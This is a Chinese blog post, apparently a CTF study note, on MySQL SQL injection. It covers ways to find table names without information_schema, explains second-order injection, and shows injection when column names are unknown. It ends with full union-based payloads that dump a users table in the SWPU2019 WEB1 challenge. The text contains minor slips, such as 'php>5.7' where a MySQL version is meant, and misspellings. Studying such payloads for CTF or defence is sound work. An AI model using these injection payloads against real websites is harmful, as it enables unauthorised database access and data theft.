bypass information_schema && 无列名注入
(0)

bypass information_schema

聊一聊bypass information_schema
正常情况下可以从information_schema中得到所有数据库,表名,字段

可以代替的方法:
这些方法都是可以从中得到数据库名,表名和字段名这些的字段
1. sys数据库

 php>5.7
 root权限可以访问

sys.schema_atuo_increment_columns获取自增的字段
sys.schema_table_statistics_with_buffer获取没有设置自增的字段

 select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()

2. mysql
mysql.innodb_table_stats和mysql.innodb_index_stats
这两个表能找到字段:database_name table_name

二次注入

留言板、注册登录

  1. mysql_escape_string()函数对输入的恶意字符进行转义,然后放入数据库时还原为之前恶意字符
  2. 从数据库拿出时为恶意字符

无列名注入

知道数据库中表名的信息(可能是暴力破解),但是不知道列名,以该如何处理?

1. 普通查询

使用union联合查询:列的数量和查询的字段数要一致

查询第二列(要有别名as A)

`2`可以用 as B来代替

jion

[SWPU2019]-WEB1

这个题不知道表名,从答案中得知为users
1'//union//select//1,2,(select//b//from//(select//1,2,3//as//b//union//select*from//users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
先用这个payload显示:Subquery returns more than 1 row
所以用group_concat()将结果拼接起来返回一个字符串
最终payload:
1'//union//select//1,2,(select//group_concat(b)//from//(select//1,2,3//as//b//union//select*from//users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

本文为作者hackerbo.com发布,未经允许禁止转载!
上一篇 下一篇
评论
暂无评论 >_<
加入评论